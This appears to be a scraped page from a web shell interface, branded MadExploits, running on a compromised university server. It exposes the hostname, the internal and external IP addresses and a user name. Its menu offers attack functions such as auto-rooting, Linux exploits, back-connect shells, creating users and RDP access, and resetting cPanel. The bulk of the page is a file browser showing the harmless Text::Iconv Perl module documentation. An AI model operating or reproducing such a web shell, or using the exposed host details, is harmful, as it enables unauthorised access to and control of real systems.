Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 3.146.105.96
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
appadmin
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib /
x86_64-linux-gnu /
perl5 /
5.30 /
Text /
[ HOME SHELL ]
Name
Size
Permission
Action
CharWidth.pm
1.99
KB
-rw-r--r--
Iconv.pm
4.92
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Iconv.pm
package Text::Iconv; # @(#) $Id: Iconv.pm,v 1.10 2007/10/17 14:14:22 mxp Exp $ # Copyright (c) 2007 Michael Piotrowski use strict; use vars qw($VERSION @ISA @EXPORT @EXPORT_OK); require Exporter; require DynaLoader; require AutoLoader; @ISA = qw(Exporter AutoLoader DynaLoader); # Items to export into callers namespace by default. Note: do not export # names by default without a very good reason. Use EXPORT_OK instead. # Do not simply export all your public functions/methods/constants. @EXPORT_OK = qw( convert ); $VERSION = '1.7'; bootstrap Text::Iconv $VERSION; # Preloaded methods go here. # Autoload methods go after =cut, and are processed by the autosplit program. 1; __END__ # Below is the documentation for the module. =head1 NAME Text::Iconv - Perl interface to iconv() codeset conversion function =head1 SYNOPSIS use Text::Iconv; $converter = Text::Iconv->new("fromcode", "tocode"); $converted = $converter->convert("Text to convert"); =head1 DESCRIPTION The B<Text::Iconv> module provides a Perl interface to the iconv() function as defined by the Single UNIX Specification. The convert() method converts the encoding of characters in the input string from the I<fromcode> codeset to the I<tocode> codeset, and returns the result. Settings of I<fromcode> and I<tocode> and their permitted combinations are implementation-dependent. Valid values are specified in the system documentation; the iconv(1) utility should also provide a B<-l> option that lists all supported codesets. =head2 Utility methods B<Text::Iconv> objects also provide the following methods: retval() returns the return value of the underlying iconv() function for the last conversion; according to the Single UNIX Specification, this value indicates "the number of non-identical conversions performed." Note, however, that iconv implementations vary widely in the interpretation of this specification. This method can be called after calling convert(), e.g.: $result = $converter->convert("lorem ipsum dolor sit amet"); $retval = $converter->retval; When called before the first call to convert(), or if an error occured during the conversion, retval() returns B<undef>. get_attr(): This method is only available with GNU libiconv, otherwise it throws an exception. The get_attr() method allows you to query various attributes which influence the behavior of convert(). The currently supported attributes are I<trivialp>, I<transliterate>, and I<discard_ilseq>, e.g.: $state = $converter->get_attr("transliterate"); See iconvctl(3) for details. To ensure portability to other iconv implementations you should first check for the availability of this method using B<eval {}>, e.g.: eval { $conv->get_attr("trivialp") }; if ($@) { # get_attr() is not available } else { # get_attr() is available } This method should be considered experimental. set_attr(): This method is only available with GNU libiconv, otherwise it throws an exception. The set_attr() method allows you to set various attributes which influence the behavior of convert(). The currently supported attributes are I<transliterate> and I<discard_ilseq>, e.g.: $state = $converter->set_attr("transliterate"); See iconvctl(3) for details. To ensure portability to other iconv implementations you should first check for the availability of this method using B<eval {}>, cf. the description of set_attr() above. This method should be considered experimental. =head1 ERRORS If the conversion can't be initialized an exception is raised (using croak()). =head2 Handling of conversion errors I<Text::Iconv> provides a class attribute B<raise_error> and a corresponding class method for setting and getting its value. The handling of errors during conversion depends on the setting of this attribute. If B<raise_error> is set to a true value, an exception is raised; otherwise, the convert() method only returns B<undef>. By default B<raise_error> is false. Example usage: Text::Iconv->raise_error(1); # Conversion errors raise exceptions Text::Iconv->raise_error(0); # Conversion errors return undef $a = Text::Iconv->raise_error(); # Get current setting =head2 Per-object handling of conversion errors As an experimental feature, I<Text::Iconv> also provides an instance attribute B<raise_error> and a corresponding method for setting and getting its value. If B<raise_error> is B<undef>, the class-wide settings apply. If B<raise_error> is 1 or 0 (true or false), the object settings override the class-wide settings. Consult L<iconv(3)> for details on errors that might occur. =head2 Conversion of B<undef> Converting B<undef>, e.g., $converted = $converter->convert(undef); always returns B<undef>. This is not considered an error. =head1 NOTES The supported codesets, their names, the supported conversions, and the quality of the conversions are all system-dependent. =head1 AUTHOR Michael Piotrowski <mxp@dynalabs.de> =head1 SEE ALSO iconv(1), iconv(3) =cut
Close